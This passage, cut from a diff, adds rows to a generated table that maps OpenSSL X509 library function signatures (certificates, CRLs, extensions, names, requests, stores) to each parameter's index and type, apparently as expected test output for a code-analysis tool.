long) | | X509_CRL_add1_ext_i2d | 3 | int | +| (X509_CRL *,int,void *,int,unsigned long) | | X509_CRL_add1_ext_i2d | 4 | unsigned long | +| (X509_CRL *,unsigned char **) | | i2d_re_X509_CRL_tbs | 0 | X509_CRL * | +| (X509_CRL *,unsigned char **) | | i2d_re_X509_CRL_tbs | 1 | unsigned char ** | +| (X509_CRL *,void *) | | X509_CRL_set_meth_data | 0 | X509_CRL * | +| (X509_CRL *,void *) | | X509_CRL_set_meth_data | 1 | void * | +| (X509_CRL_INFO *) | | X509_CRL_INFO_free | 0 | X509_CRL_INFO * | +| (X509_CRL_INFO **,const unsigned char **,long) | | d2i_X509_CRL_INFO | 0 | X509_CRL_INFO ** | +| (X509_CRL_INFO **,const unsigned char **,long) | | d2i_X509_CRL_INFO | 1 | const unsigned char ** | +| (X509_CRL_INFO **,const unsigned char **,long) | | d2i_X509_CRL_INFO | 2 | long | +| (X509_EXTENSION *) | | X509V3_EXT_d2i | 0 | X509_EXTENSION * | +| (X509_EXTENSION *) | | X509_EXTENSION_free | 0 | X509_EXTENSION * | +| (X509_EXTENSION *) | | X509_EXTENSION_get_data | 0 | X509_EXTENSION * | +| (X509_EXTENSION *) | | X509_EXTENSION_get_object | 0 | X509_EXTENSION * | +| (X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_OBJ | 0 | X509_EXTENSION ** | +| (X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_OBJ | 1 | const ASN1_OBJECT * | +| (X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_OBJ | 2 | int | +| (X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_OBJ | 3 | ASN1_OCTET_STRING * | +| (X509_EXTENSION **,const unsigned char **,long) | | d2i_X509_EXTENSION | 0 | X509_EXTENSION ** | +| (X509_EXTENSION **,const unsigned char **,long) | | d2i_X509_EXTENSION | 1 | const unsigned char ** | +| (X509_EXTENSION **,const unsigned char **,long) | | d2i_X509_EXTENSION | 2 | long | +| (X509_EXTENSION **,int,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_NID | 0 | X509_EXTENSION ** | +| (X509_EXTENSION **,int,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_NID | 1 | int | +| (X509_EXTENSION **,int,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_NID | 2 | int | +| (X509_EXTENSION **,int,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_NID | 3 | ASN1_OCTET_STRING * | +| (X509_EXTENSION *,ASN1_OCTET_STRING *) | | X509_EXTENSION_set_data | 0 | X509_EXTENSION * | +| (X509_EXTENSION *,ASN1_OCTET_STRING *) | | X509_EXTENSION_set_data | 1 | ASN1_OCTET_STRING * | +| (X509_EXTENSION *,const ASN1_OBJECT *) | | X509_EXTENSION_set_object | 0 | X509_EXTENSION * | +| (X509_EXTENSION *,const ASN1_OBJECT *) | | X509_EXTENSION_set_object | 1 | const ASN1_OBJECT * | +| (X509_EXTENSIONS **,const unsigned char **,long) | | d2i_X509_EXTENSIONS | 0 | X509_EXTENSIONS ** | +| (X509_EXTENSIONS **,const unsigned char **,long) | | d2i_X509_EXTENSIONS | 1 | const unsigned char ** | +| (X509_EXTENSIONS **,const unsigned char **,long) | | d2i_X509_EXTENSIONS | 2 | long | +| (X509_LOOKUP *,void *) | | X509_LOOKUP_set_method_data | 0 | X509_LOOKUP * | +| (X509_LOOKUP *,void *) | | X509_LOOKUP_set_method_data | 1 | void * | +| (X509_LOOKUP_METHOD *) | | X509_LOOKUP_new | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_free | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_free | 1 | ..(*)(..) | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_init | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_init | 1 | ..(*)(..) | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_new_item | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_new_item | 1 | ..(*)(..) | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_shutdown | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_shutdown | 1 | ..(*)(..) | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_ctrl_fn) | | X509_LOOKUP_meth_set_ctrl | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_ctrl_fn) | | X509_LOOKUP_meth_set_ctrl | 1 | X509_LOOKUP_ctrl_fn | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_alias_fn) | | X509_LOOKUP_meth_set_get_by_alias | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_alias_fn) | | X509_LOOKUP_meth_set_get_by_alias | 1 | X509_LOOKUP_get_by_alias_fn | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_fingerprint_fn) | | X509_LOOKUP_meth_set_get_by_fingerprint | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_fingerprint_fn) | | X509_LOOKUP_meth_set_get_by_fingerprint | 1 | X509_LOOKUP_get_by_fingerprint_fn | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_issuer_serial_fn) | | X509_LOOKUP_meth_set_get_by_issuer_serial | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_issuer_serial_fn) | | X509_LOOKUP_meth_set_get_by_issuer_serial | 1 | X509_LOOKUP_get_by_issuer_serial_fn | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_subject_fn) | | X509_LOOKUP_meth_set_get_by_subject | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_subject_fn) | | X509_LOOKUP_meth_set_get_by_subject | 1 | X509_LOOKUP_get_by_subject_fn | +| (X509_NAME *) | | OSSL_STORE_SEARCH_by_name | 0 | X509_NAME * | +| (X509_NAME *) | | X509_NAME_free | 0 | X509_NAME * | +| (X509_NAME **,const X509_NAME *) | | X509_NAME_set | 0 | X509_NAME ** | +| (X509_NAME **,const X509_NAME *) | | X509_NAME_set | 1 | const X509_NAME * | +| (X509_NAME **,const unsigned char **,long) | | d2i_X509_NAME | 0 | X509_NAME ** | +| (X509_NAME **,const unsigned char **,long) | | d2i_X509_NAME | 1 | const unsigned char ** | +| (X509_NAME **,const unsigned char **,long) | | d2i_X509_NAME | 2 | long | +| (X509_NAME *,const ASN1_INTEGER *) | | OSSL_STORE_SEARCH_by_issuer_serial | 0 | X509_NAME * | +| (X509_NAME *,const ASN1_INTEGER *) | | OSSL_STORE_SEARCH_by_issuer_serial | 1 | const ASN1_INTEGER * | +| (X509_NAME *,const X509_NAME_ENTRY *,int,int) | | X509_NAME_add_entry | 0 | X509_NAME * | +| (X509_NAME *,const X509_NAME_ENTRY *,int,int) | | X509_NAME_add_entry | 1 | const X509_NAME_ENTRY * | +| (X509_NAME *,const X509_NAME_ENTRY *,int,int) | | X509_NAME_add_entry | 2 | int | +| (X509_NAME *,const X509_NAME_ENTRY *,int,int) | | X509_NAME_add_entry | 3 | int | +| (X509_NAME *,int) | | X509_NAME_delete_entry | 0 | X509_NAME * | +| (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | int | +| (X509_NAME_ENTRY *) | | X509_NAME_ENTRY_free | 0 | X509_NAME_ENTRY * | +| (X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_OBJ | 0 | X509_NAME_ENTRY ** | +| (X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_OBJ | 1 | const ASN1_OBJECT * | +| (X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_OBJ | 2 | int | +| (X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_OBJ | 3 | const unsigned char * | +| (X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_OBJ | 4 | int | +| (X509_NAME_ENTRY **,const char *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_txt | 0 | X509_NAME_ENTRY ** | +| (X509_NAME_ENTRY **,const char *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_txt | 1 | const char * | +| (X509_NAME_ENTRY **,const char *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_txt | 2 | int | +| (X509_NAME_ENTRY **,const char *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_txt | 3 | const unsigned char * | +| (X509_NAME_ENTRY **,const char *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_txt | 4 | int | +| (X509_NAME_ENTRY **,const unsigned char **,long) | | d2i_X509_NAME_ENTRY | 0 | X509_NAME_ENTRY ** | +| (X509_NAME_ENTRY **,const unsigned char **,long) | | d2i_X509_NAME_ENTRY | 1 | const unsigned char ** | +| (X509_NAME_ENTRY **,const unsigned char **,long) | | d2i_X509_NAME_ENTRY | 2 | long | +| (X509_NAME_ENTRY **,int,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_NID | 0 | X509_NAME_ENTRY ** | +| (X509_NAME_ENTRY **,int,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_NID | 1 | int | +| (X509_NAME_ENTRY **,int,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_NID | 2 | int | +| (X509_NAME_ENTRY **,int,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_NID | 3 | const unsigned char * | +| (X509_NAME_ENTRY **,int,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_NID | 4 | int | +| (X509_NAME_ENTRY *,const ASN1_OBJECT *) | | X509_NAME_ENTRY_set_object | 0 | X509_NAME_ENTRY * | +| (X509_NAME_ENTRY *,const ASN1_OBJECT *) | | X509_NAME_ENTRY_set_object | 1 | const ASN1_OBJECT * | +| (X509_NAME_ENTRY *,int,const unsigned char *,int) | | X509_NAME_ENTRY_set_data | 0 | X509_NAME_ENTRY * | +| (X509_NAME_ENTRY *,int,const unsigned char *,int) | | X509_NAME_ENTRY_set_data | 1 | int | +| (X509_NAME_ENTRY *,int,const unsigned char *,int) | | X509_NAME_ENTRY_set_data | 2 | const unsigned char * | +| (X509_NAME_ENTRY *,int,const unsigned char *,int) | | X509_NAME_ENTRY_set_data | 3 | int | +| (X509_OBJECT *,X509 *) | | X509_OBJECT_set1_X509 | 0 | X509_OBJECT * | +| (X509_OBJECT *,X509 *) | | X509_OBJECT_set1_X509 | 1 | X509 * | +| (X509_OBJECT *,X509_CRL *) | | X509_OBJECT_set1_X509_CRL | 0 | X509_OBJECT * | +| (X509_OBJECT *,X509_CRL *) | | X509_OBJECT_set1_X509_CRL | 1 | X509_CRL * | +| (X509_POLICY_LEVEL *) | | X509_policy_level_node_count | 0 | X509_POLICY_LEVEL * | +| (X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int) | | ossl_policy_level_add_node | 0 | X509_POLICY_LEVEL * | +| (X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int) | | ossl_policy_level_add_node | 1 | X509_POLICY_DATA * | +| (X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int) | | ossl_policy_level_add_node | 2 | X509_POLICY_NODE * | +| (X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int) | | ossl_policy_level_add_node | 3 | X509_POLICY_TREE * | +| (X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int) | | ossl_policy_level_add_node | 4 | int | +| (X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int) | | X509_policy_check | 0 | X509_POLICY_TREE ** | +| (X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int) | | X509_policy_check | 1 | int * | +| (X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int) | | X509_policy_check | 2 | stack_st_X509 * | +| (X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int) | | X509_policy_check | 3 | stack_st_ASN1_OBJECT * | +| (X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int) | | X509_policy_check | 4 | unsigned int | +| (X509_PUBKEY *) | | X509_PUBKEY_free | 0 | X509_PUBKEY * | +| (X509_PUBKEY *) | | ossl_X509_PUBKEY_INTERNAL_free | 0 | X509_PUBKEY * | +| (X509_PUBKEY **,EVP_PKEY *) | | X509_PUBKEY_set | 0 | X509_PUBKEY ** | +| (X509_PUBKEY **,EVP_PKEY *) | | X509_PUBKEY_set | 1 | EVP_PKEY * | +| (X509_PUBKEY **,const unsigned char **,long) | | d2i_X509_PUBKEY | 0 | X509_PUBKEY ** | +| (X509_PUBKEY **,const unsigned char **,long) | | d2i_X509_PUBKEY | 1 | const unsigned char ** | +| (X509_PUBKEY **,const unsigned char **,long) | | d2i_X509_PUBKEY | 2 | long | +| (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 0 | X509_PUBKEY * | +| (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 1 | ASN1_OBJECT * | +| (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 2 | int | +| (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 3 | void * | +| (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 4 | unsigned char * | +| (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 5 | int | +| (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 0 | X509_PUBKEY * | +| (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 1 | unsigned char * | +| (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 2 | int | +| (X509_REQ *) | | X509_REQ_free | 0 | X509_REQ * | +| (X509_REQ *) | | X509_REQ_get0_distinguishing_id | 0 | X509_REQ * | +| (X509_REQ *) | | X509_REQ_get_X509_PUBKEY | 0 | X509_REQ * | +| (X509_REQ **,const unsigned char **,long) | | d2i_X509_REQ | 0 | X509_REQ ** | +| (X509_REQ **,const unsigned char **,long) | | d2i_X509_REQ | 1 | const unsigned char ** | +| (X509_REQ **,const unsigned char **,long) | | d2i_X509_REQ | 2 | long | +| (X509_REQ *,ASN1_BIT_STRING *) | | X509_REQ_set0_signature | 0 | X509_REQ * | +| (X509_REQ *,ASN1_BIT_STRING *) | | X509_REQ_set0_signature | 1 | ASN1_BIT_STRING * | +| (X509_REQ *,ASN1_OCTET_STRING *) | | X509_REQ_set0_distinguishing_id | 0 | X509_REQ * | +| (X509_REQ *,ASN1_OCTET_STRING *) | | X509_REQ_set0_distinguishing_id | 1 | ASN1_OCTET_STRING * | +| (X509_REQ *,EVP_MD_CTX *) | | X509_REQ_sign_ctx | 0 | X509_REQ * | +| (X509_REQ *,EVP_MD_CTX *) | | X509_REQ_sign_ctx | 1 | EVP_MD_CTX * | +| (X509_REQ *,EVP_PKEY *,const EVP_MD *) | | X509_REQ_sign | 0 | X509_REQ * | +| (X509_REQ *,EVP_PKEY *,const EVP_MD *) | | X509_REQ_sign | 1 | EVP_PKEY * | +| (X509_REQ *,EVP_PKEY *,const EVP_MD *) | | X509_REQ_sign | 2 | const EVP_MD * | +| (X509_REQ *,EVP_PKEY *,stack_st_OPENSSL_STRING *) | | do_X509_REQ_verify | 0 | X509_REQ * | +| (X509_REQ *,EVP_PKEY *,stack_st_OPENSSL_STRING *) | | do_X509_REQ_verify | 1 | EVP_PKEY * | +| (X509_REQ *,EVP_PKEY *,stack_st_OPENSSL_STRING *) | | do_X509_REQ_verify | 2 | stack_st_OPENSSL_STRING * | +| (X509_REQ *,OSSL_LIB_CTX *,const char *) | | ossl_x509_req_set0_libctx | 0 | X509_REQ * | +| (X509_REQ *,OSSL_LIB_CTX *,const char *) | | ossl_x509_req_set0_libctx | 1 | OSSL_LIB_CTX * | +| (X509_REQ *,OSSL_LIB_CTX *,const char *) | | ossl_x509_req_set0_libctx | 2 | const char * | +| (X509_REQ *,X509_ALGOR *) | | X509_REQ_set1_signature_algo | 0 | X509_REQ * | +| (X509_REQ *,X509_ALGOR *) | | X509_REQ_set1_signature_algo | 1 | X509_ALGOR * | +| (X509_REQ *,X509_ATTRIBUTE *) | | X509_REQ_add1_attr | 0 | X509_REQ * | +| (X509_REQ *,X509_ATTRIBUTE *) | | X509_REQ_add1_attr | 1 | X509_ATTRIBUTE * | +| (X509_REQ *,const X509_NAME *) | | X509_REQ_set_subject_name | 0 | X509_REQ * | +| (X509_REQ *,const X509_NAME *) | | X509_REQ_set_subject_name | 1 | const X509_NAME * | +| (X509_REQ *,const char *) | | x509_req_ctrl_string | 0 | X509_REQ * | +| (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | const char * | +| (X509_REQ *,int) | | X509_REQ_delete_attr | 0 | X509_REQ * | +| (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | int | +| (X509_REQ *,unsigned char **) | | i2d_re_X509_REQ_tbs | 0 | X509_REQ * | +| (X509_REQ *,unsigned char **) | | i2d_re_X509_REQ_tbs | 1 | unsigned char ** | +| (X509_REQ_INFO *) | | X509_REQ_INFO_free | 0 | X509_REQ_INFO * | +| (X509_REQ_INFO **,const unsigned char **,long) | | d2i_X509_REQ_INFO | 0 | X509_REQ_INFO ** | +| (X509_REQ_INFO **,const unsigned char **,long) | | d2i_X509_REQ_INFO | 1 | const unsigned char ** | +| (X509_REQ_INFO **,const unsigned char **,long) | | d2i_X509_REQ_INFO | 2 | long | +| (X509_REVOKED *) | | X509_REVOKED_free | 0 | X509_REVOKED * | +| (X509_REVOKED **,const unsigned char **,long) | | d2i_X509_REVOKED | 0 | X509_REVOKED ** | +| (X509_REVOKED **,const unsigned char **,long) | | d2i_X509_REVOKED | 1 | const unsigned char ** | +| (X509_REVOKED **,const unsigned char **,long) | | d2i_X509_REVOKED | 2 | long | +| (X509_REVOKED *,ASN1_TIME *) | | X509_REVOKED_set_revocationDate | 0 | X509_REVOKED * | +| (X509_REVOKED *,ASN1_TIME *) | | X509_REVOKED_set_revocationDate | 1 | ASN1_TIME * | +| (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 0 | X509_REVOKED * | +| (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 1 | X509_EXTENSION * | +| (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 2 | int | +| (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 0 | X509_REVOKED * | +| (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | int | +| (X509_REVOKED *,int,void *,int,unsigned long) | | X509_REVOKED_add1_ext_i2d | 0 | X509_REVOKED * | +| (X509_REVOKED *,int,void *,int,unsigned long) | | X509_REVOKED_add1_ext_i2d | 1 | int | +| (X509_REVOKED *,int,void *,int,unsigned long) | | X509_REVOKED_add1_ext_i2d | 2 | void * | +| (X509_REVOKED *,int,void *,int,unsigned long) | | X509_REVOKED_add1_ext_i2d | 3 | int | +| (X509_REVOKED *,int,void *,int,unsigned long) | | X509_REVOKED_add1_ext_i2d | 4 | unsigned long | +| (X509_SIG *) | | PKCS12_SAFEBAG_create0_pkcs8 | 0 | X509_SIG * | +| (X509_SIG *) | | X509_SIG_free | 0 | X509_SIG * | +| (X509_SIG **,const unsigned char **,long) | | d2i_X509_SIG | 0 | X509_SIG ** | +| (X509_SIG **,const unsigned char **,long) | | d2i_X509_SIG | 1 | const unsigned char ** | +| (X509_SIG **,const unsigned char **,long) | | d2i_X509_SIG | 2 | long | +| (X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **) | | X509_SIG_getm | 0 | X509_SIG * | +| (X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **) | | X509_SIG_getm | 1 | X509_ALGOR ** | +| (X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **) | | X509_SIG_getm | 2 | ASN1_OCTET_STRING ** | +| (X509_SIG_INFO *,int,int,int,uint32_t) | | X509_SIG_INFO_set | 0 | X509_SIG_INFO * | +| (X509_SIG_INFO *,int,int,int,uint32_t) | | X509_SIG_INFO_set | 1 | int | +| (X509_SIG_INFO *,int,int,int,uint32_t) | | X509_SIG_INFO_set | 2 | int | +| (X509_SIG_INFO *,int,int,int,uint32_t) | | X509_SIG_INFO_set | 3 | int | +| (X509_SIG_INFO *,int,int,int,uint32_t) | | X509_SIG_INFO_set | 4 | uint32_t | +| (X509_STORE *) | | X509_STORE_get1_objects | 0 | X509_STORE * | +| (X509_STORE *,X509_LOOKUP_METHOD *) | | X509_STORE_add_lookup | 0 | X509_STORE * | +| (X509_STORE *,X509_LOOKUP_METHOD *) | | X509_STORE_add_lookup | 1 | X509_LOOKUP_METHOD * | +| (X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_dataVerify | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_dataVerify | 1 | X509_STORE_CTX * | +| (X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_dataVerify | 2 | BIO * | +| (X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_dataVerify | 3 | PKCS7 * | +| (X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_dataVerify | 4 | PKCS7_SIGNER_INFO * | +| (X509_STORE *,X509_STORE_CTX_cert_crl_fn) | | X509_STORE_set_cert_crl | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_cert_crl_fn) | | X509_STORE_set_cert_crl | 1 | X509_STORE_CTX_cert_crl_fn | +| (X509_STORE *,X509_STORE_CTX_check_crl_fn) | | X509_STORE_set_check_crl | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_check_crl_fn) | | X509_STORE_set_check_crl | 1 | X509_STORE_CTX_check_crl_fn | +| (X509_STORE *,X509_STORE_CTX_check_issued_fn) | | X509_STORE_set_check_issued | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_check_issued_fn) | | X509_STORE_set_check_issued | 1 | X509_STORE_CTX_check_issued_fn | +| (X509_STORE *,X509_STORE_CTX_check_policy_fn) | | X509_STORE_set_check_policy | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_check_policy_fn) | | X509_STORE_set_check_policy | 1 | X509_STORE_CTX_check_policy_fn | +| (X509_STORE *,X509_STORE_CTX_check_revocation_fn) | | X509_STORE_set_check_revocation | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_check_revocation_fn) | | X509_STORE_set_check_revocation | 1 | X509_STORE_CTX_check_revocation_fn | +| (X509_STORE *,X509_STORE_CTX_cleanup_fn) | | X509_STORE_set_cleanup | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_cleanup_fn) | | X509_STORE_set_cleanup | 1 | X509_STORE_CTX_cleanup_fn | +| (X509_STORE *,X509_STORE_CTX_get_crl_fn) | | X509_STORE_set_get_crl | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_get_crl_fn) | | X509_STORE_set_get_crl | 1 | X509_STORE_CTX_get_crl_fn | +| (X509_STORE *,X509_STORE_CTX_get_issuer_fn) | | X509_STORE_set_get_issuer | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_get_issuer_fn) | | X509_STORE_set_get_issuer | 1 | X509_STORE_CTX_get_issuer_fn | +| (X509_STORE *,X509_STORE_CTX_lookup_certs_fn) | | X509_STORE_set_lookup_certs | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_lookup_certs_fn) | | X509_STORE_set_lookup_certs | 1 | X509_STORE_CTX_lookup_certs_fn | +| (X509_STORE *,X509_STORE_CTX_lookup_crls_fn) | | X509_STORE_set_lookup_crls | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_lookup_crls_fn) | | X509_STORE_set_lookup_crls | 1 | X509_STORE_CTX_lookup_crls_fn | +| (X509_STORE *,X509_STORE_CTX_verify_cb) | | X509_STORE_set_verify_cb | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_verify_cb) | | X509_STORE_set_verify_cb | 1 | X509_STORE_CTX_verify_cb | +| (X509_STORE *,X509_STORE_CTX_verify_fn) | | X509_STORE_set_verify | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_verify_fn) | | X509_STORE_set_verify | 1 | X509_STORE_CTX_verify_fn | +| (X509_STORE *,const X509_VERIFY_PARAM *) | | X509_STORE_set1_param | 0 | X509_STORE * | +| (X509_STORE *,const X509_VERIFY_PARAM *) | | X509_STORE_set1_param | 1 | const X509_VERIFY_PARAM * | +| (X509_STORE *,int) | | X509_STORE_set_depth | 0 | X509_STORE * | +| (X509_STORE *,int) | | X509_STORE_set_depth | 1 | int | +| (X509_STORE *,int) | | X509_STORE_set_purpose | 0 | X509_STORE * | +| (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | int | +| (X509_STORE *,int) | | X509_STORE_set_trust | 0 | X509_STORE * | +| (X509_STORE *,int) | | X509_STORE_set_trust | 1 | int | +| (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 0 | X509_STORE * | +| (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | unsigned long | +| (X509_STORE_CTX *,EVP_PKEY *) | | X509_STORE_CTX_set0_rpk | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,EVP_PKEY *) | | X509_STORE_CTX_set0_rpk | 1 | EVP_PKEY * | +| (X509_STORE_CTX *,SSL_DANE *) | | X509_STORE_CTX_set0_dane | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,SSL_DANE *) | | X509_STORE_CTX_set0_dane | 1 | SSL_DANE * | +| (X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_set_cert | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_set_cert | 1 | X509 * | +| (X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_set_current_cert | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_set_current_cert | 1 | X509 * | +| (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 1 | X509 * | +| (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 2 | int | +| (X509_STORE_CTX *,X509_STORE *,EVP_PKEY *) | | X509_STORE_CTX_init_rpk | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509_STORE *,EVP_PKEY *) | | X509_STORE_CTX_init_rpk | 1 | X509_STORE * | +| (X509_STORE_CTX *,X509_STORE *,EVP_PKEY *) | | X509_STORE_CTX_init_rpk | 2 | EVP_PKEY * | +| (X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *) | | X509_STORE_CTX_init | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *) | | X509_STORE_CTX_init | 1 | X509_STORE * | +| (X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *) | | X509_STORE_CTX_init | 2 | X509 * | +| (X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *) | | X509_STORE_CTX_init | 3 | stack_st_X509 * | +| (X509_STORE_CTX *,X509_STORE_CTX_get_crl_fn) | | X509_STORE_CTX_set_get_crl | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509_STORE_CTX_get_crl_fn) | | X509_STORE_CTX_set_get_crl | 1 | X509_STORE_CTX_get_crl_fn | +| (X509_STORE_CTX *,X509_STORE_CTX_verify_cb) | | X509_STORE_CTX_set_verify_cb | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509_STORE_CTX_verify_cb) | | X509_STORE_CTX_set_verify_cb | 1 | X509_STORE_CTX_verify_cb | +| (X509_STORE_CTX *,X509_STORE_CTX_verify_fn) | | X509_STORE_CTX_set_verify | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX 